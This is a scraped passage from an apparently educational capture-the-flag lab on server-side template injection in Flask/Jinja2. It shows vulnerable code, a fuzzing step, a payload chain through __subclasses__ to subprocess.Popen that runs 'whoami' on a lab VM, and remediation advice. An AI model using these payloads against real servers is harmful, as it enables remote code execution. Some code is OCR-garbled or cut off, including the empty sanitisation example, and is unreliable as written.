

- 🖺 <u>Dashboard</u>
- ⊈ Compete

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<u>Leaderboards</u>

Platform Rankings

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Attack & Defend

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Workspace

Compete & Collaborate

Other

Resources Buy Vouchers Develop Rooms For Business For Education Swag Shop

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
Go Premium

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<u>Profile Refer a friend Badges My Rooms Access Give Feedback Logout</u>

# Web Exploitation



What does that mean? Consider a page that stores information about a user, /profile/<user> . The code might look something like this in Python's Flask:

```
from flask import Flask, render_template_string
app  Flask(__name__)

@app.route("/profile/<user>")
def profile_page(user):
    template  f"<h1>Welcome to the profile of {user}!</h1>"

    return render_template_string(template)

app.run()
```

This code creates a template string, and concatenates the user input into it. This way, the content can be loaded dynamically for each user, while keeping a consistent page format.

Note: Flask is the web framework, while Jinja2 is the template engine being used.

#### How is SSTI exploitable?

Consider the above code, specifically the **template** string. The variable user (which is user input) is concatenated directly into the template, rather than passed in as data. This means whatever is supplied as user input will be interpreted by the engine.

Note: The template engines themselves aren't vulnerable, rather an insecure implementation by the developer.

#### What is the impact of SSTI?

As the name suggests, SSTI is a server side exploit, rather than client side such as cross site scripting (XSS).

This means that vulnerabilities are even more critical, because instead of an account on the website being hijacked (common use of XSS), the server instead gets hijacked.

The possibilities are endless, however the main goal is typically to gain remote code execution.

#### Deploy!

Deploy the virtual machine associated with this lab and follow along as we exploit SSTI together!


You can access the web server by navigating to http://10.10.54.219:5000

Note: The endpoint / does not exist, and you will receive a 404 error.

Answer the questions below

Understand all of the above.

No answer needed Correct Answer





# Fuzzing

Fuzzing is a technique to determine whether the server is vulnerable by sending multiple characters in hopes to interfere with the backend system.


This can be done manually, or by an application such as BurpSuite's Intruder. However, for educational purposes, we will look at the manual process.

Luckily for us, most template engines will use a similar character set for their "special functions" which makes it relatively quick to detect if it's vulnerable to SSTI.

For example, the following characters are known to be used in quite a few template engines: \$\{\\\"\}\\"


To manually fuzz all of these characters, they can be sent one by one following each other.

The fuzzing process looks as follows:



Continue with this process until you either get an error, or some characters start disappearing from the output.

Answer the questions below



# **Planning** Let's first plan how we would like to exploit this vulnerability. Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python. A quick Google search brings up a blog that details different ways to run shell commands. I will highlight a few of them below: os.system("whoami") os.popen("whoami").read() import subprocess subprocess.Popen("whoami", shell=True, stdout==1).communicate() Crafting a proof of concept (Generic) Combining all of this knowledge, we are able to build a proof of concept (POC). The following payload takes the syntax we acquired from Task 4, and the shells above, and merges them into something that the template engine will accept: http://10.10.54.219:5000/profile/{% import os %}{{ os.system("whoami") }} Note: Jinja2 is essentially a sub language of Python that doesn't integrate the import statement, which is why the above does not Crafting a proof of concept (Jinja2) Python allows us to call the current class instance with .\_\_class\_, we can call this on an empty string: Payload: http://10.10.54.219:5000/profile/{{ ''.\_\_class\_\_ }} Classes in Python have an attribute called \_\_mro\_ that allows us to climb up the inherited object tree: Payload: http://10.10.54.219:5000/profile/{{ ''.\_\_class\_\_.\_\_mro\_\_ }} Since we want the root object, we can access the second property (first index): Payload: http://10.10.54.219:5000/profile/{{ ''.\_\_class\_\_.\_\_mro\_\_[1] }} Objects in Python have a method called .\_\_subclassess\_ that allows us to climb down the object tree: Payload: http://10.10.54.219:5000/profile/{{ ''.\_class\_.\_mro\_[1].\_subclasses\_() }} Now we need to find an object that allows us to run shell commands. Doing a Ctrl-F for the modules in the code above yields us a 10.10.253.27:5000/profile/% × + ← → C 0 ¼ 10.10.253.27:5000/profile/{{ ''.\_class\_.\_mro\_[1].\_subclasses\_() }} ... ☑ ☆ 🚳 ♦ 🗏 'ctypes.LibraryLoader'>, <class 'subprocess.CompletedProcess'>, <class '<mark>subprocess</mark>.Popen'>, <class As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list. In this example, the position in the list is 400 (index 401): Payload: http://10.10.54.219:5000/profile/{{ ''.\_class\_.\_mro\_[1].\_subclasses\_()[401] }} The above payload essentially calls the subprocess.Popen method, now all we have to do is invoke it (use the code above for the Payload: http://10.10.54.219:5000/profile/{{ ''.\_\_class\_\_.\_mro\_\_[1].\_\_subclasses\_\_()[401]("whoami", Finding payloads The process to build a payload takes a little while when doing it for the first time, however it is important to understand why it For quick reference, an amazing GitHub repo has been created as a cheatsheet for payloads for all web vulnerabilities, including SSTI. The repo is located here, while the document for SSTI is located here. Answer the questions below What is the result of the "whoami" shell command? Task 6 Examination Now that we've exploited the application, let's see what was actually happening when the payload was injected. The code that we exploited was the same as shown in Task 1:

```
from flask import Flask, render_template_string
  app Flask(__name__)
   def profile_page(user):
       template = f"<h1>Welcome to the profile of {user}!</h1>"
       return render_template_string(template)
   app.run()
Let's imagine this like a simple find and replace.
Refer to the code below to see exactly how this works:
  template = f"<h1>Welcome to the profile of {user}!</h1>"
  template = f"<h1>Welcome to the profile of TryHackMe!</h1>"
   template \blacksquare f"<h2>Welcome to the profile of {{ 7 * 7 }}!</h1>"
As we learned in Task 4, Jinja2 is going to evaluate code that is in-between those sets of characters, which is why the exploit
worked.
Answer the questions below
Understand all of the above.
 No answer needed
Task 7 🐶 Remediation
                                                                                                               ~
All this hacking begs the question, what can be done to prevent this from happening in the first place?
Secure methods
```

Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.

In Jinja2, this can be done by using the second argument:

```
# Insecure: Concatenating input
template fr<hl>welcome to the profile of {user}!</hl>"
return render_template_string(template)

# Secure: Passing input as data
template r<hl>welcome to the profile of {{ user }}!</hl>"
return render_template_string(template, user=user)
```

# Sanitisation

User input can not be trusted!

Every place in your application where a user is allowed to add custom content, make sure the input is sanitised!

This can be done by first planning what character set you want to allow, and adding these to a whitelist.

In Python, this can be done like so:

# HackerOne Bug Bounty

In March 2016, a user reported an SSTI vulnerability in one of Uber's subdomains.

The vulnerability was present within a form that allowed the user to change their profile name. Much like in the example, the user had control over an input which was then reflected back to the user (via email).

Although the user was unable to gain remote code execution, the vulnerability was still present and they were awarded with a \$10,000 bounty!

Read the report here.

Answer the questions below

What payload was used to confirm SSTI?

{{ '7'\*7 }}

Correct Answer

Created by jakeyee

This is a **free** room, which means anyone can deploy virtual machines in the room (without being subscribed)! 4725 users are in here and this room is 913 days old.